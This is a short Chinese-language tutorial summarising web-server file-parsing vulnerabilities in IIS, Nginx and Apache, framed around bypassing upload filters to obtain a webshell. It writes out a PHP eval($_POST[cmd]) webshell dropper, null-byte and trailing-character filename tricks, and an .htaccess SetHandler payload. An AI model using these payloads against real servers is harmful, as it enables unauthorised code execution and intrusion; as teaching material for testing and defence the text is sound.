檔案解析漏洞總結
一、IIS 5.x/6.0解析漏洞
IIS 6.0解析利用方法有兩種
1.目錄解析
/xx.asp/xx.jpg
2.檔案解析
cracer.asp;.jpg
第一種,在網站下建立資料夾的名字為 .asp、.asa 的資料夾,其目錄內的任何副檔名的檔案都被IIS當作asp檔案來解析並執行。
例如建立目錄 cracer.asp,那麼
/cracer.asp/1.jpg
將被當作asp檔案來執行。假設黑闊可以控制上傳資料夾路徑,就可以不管你上傳後你的圖片改不改名都能拿shell了。
第二種,在IIS6.0下,分號後面的不被解析,也就是說
cracer.asp;.jpg
會被伺服器看成是cracer.asp
還有IIS6.0 預設的可執行檔案除了asp還包含這三種
/cracer.asa/cracer.cer/cracer.cdx
二、IIS 7.0/IIS 7.5/ Nginx <8.03畸形解析漏洞
Nginx解析漏洞這個偉大的漏洞是我國安全組織80sec發現的…
在預設Fast-CGI開啟狀況下,黑闊上傳一個名字為cracer.jpg,內容為
<?PHP fputs(fopen(‘shell.php’,’w’),'<?php eval($_POST[cmd])?>’);?>
的檔案,然後訪問cracer.jpg/.php,在這個目錄下就會生成一句話木馬 shell.php
三、Nginx <8.03 空位元組程式碼執行漏洞
影響版:0.5.,0.6., 0.7 <= 0.7.65, 0.8 <= 0.8.37
Nginx在圖片中嵌入PHP程式碼然後通過訪問
xxx.jpg%00.php
來執行其中的程式碼
四、Apache解析漏洞
Apache 是從右到左開始判斷解析,如果為不可識別解析,就再往左判斷.
比如 cracer.php.owf.rar
“.owf”和”.rar” 這兩種字尾是apache不可識別解析,apache就會把cracer.php.owf.rar
解析成php.
如何判斷是不是合法的字尾就是這個漏洞的利用關鍵,測試時可以嘗試上傳一個cracer.php.rara.jpg.png…(把你知道的常見字尾都寫上…)去測試是否是合法字尾
五、其他
在windows環境下,xx.jpg[空格]
或xx.jpg.
這兩類檔案都是不允許存在的,若這樣命名,windows會預設除去空格或點,黑客可以通過抓包,在檔名後加一個空格或者點繞過黑名單.若上傳成功,空格和點都會被windows自動消除,這樣也可以getshell。
如果在Apache中.htaccess可被執行.且可被上傳.那可以嘗試在.htaccess中寫入:
<FilesMatch “cracer.jpg”> SetHandler application/x-httpd-php </FilesMatch>
然後再上傳shell.jpg的木馬, 這樣shell.jpg就可解析為php檔案。